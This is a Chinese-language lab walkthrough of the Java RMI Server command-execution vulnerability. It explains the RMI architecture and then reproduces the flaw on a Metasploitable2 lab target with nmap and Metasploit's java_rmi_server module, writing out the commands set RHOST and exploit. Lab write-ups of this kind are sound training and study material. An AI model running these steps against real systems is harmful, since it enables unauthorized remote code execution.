Java RMI SERVER命令執行漏洞
- 一、介紹
- 二、原理
- 三、復現準備
- 四、漏洞復現
一、介紹
- RMI全稱是Remote Method Invocation(遠程方法調用),是專為Java環境設計的遠程方法調用機制,遠程服務器提供API,客戶端根據API提供相應參數即可調用遠程方法
- 由此可見,使用RMI時會涉及到參數傳遞和結果返回,參數為對象時,要求對象可以被序列化。目的是為了讓兩個隔離的java虛擬機,如虛擬機A能夠調用到虛擬機B中的對象,而且這些虛擬機可以不存在于同一臺主機上
- RMI存在著三個主體:
- RMI Registry
- RMI Client
- RMI Server
- RMI中主要的api大致有:
- java.rmi:提供客戶端需要的類、接口和異常
- java.rmi.server:提供服務端需要的類、接口和異常
- java.rmi.registry:提供注冊表的創建以及查找和命名遠程對象的類、接口和異常
二、原理
- Java RMI Server 的RMI注冊表和RMI激活服務的默認配置存在安全漏洞,可被利用導致代碼執行
三、復現準備
- 靶機:Metasplotable2-Linux - 192.168.9.147
- 攻擊機:Kali - 192.168.9.148
四、漏洞復現
-
使用nmap掃描靶機的IP地址,可以看到靶機的1099端口開放
-
啟動metasploit
msfconsole
- 選擇漏洞庫
search rmi
use exploit/multi/misc/java_rmi_server
-
設置參數,
-
查看需要設置的參數:
show options
-
設置要攻擊的機器IP:
set RHOST 192.168.9.147
-
-
開始攻擊
exploit
- 利用成功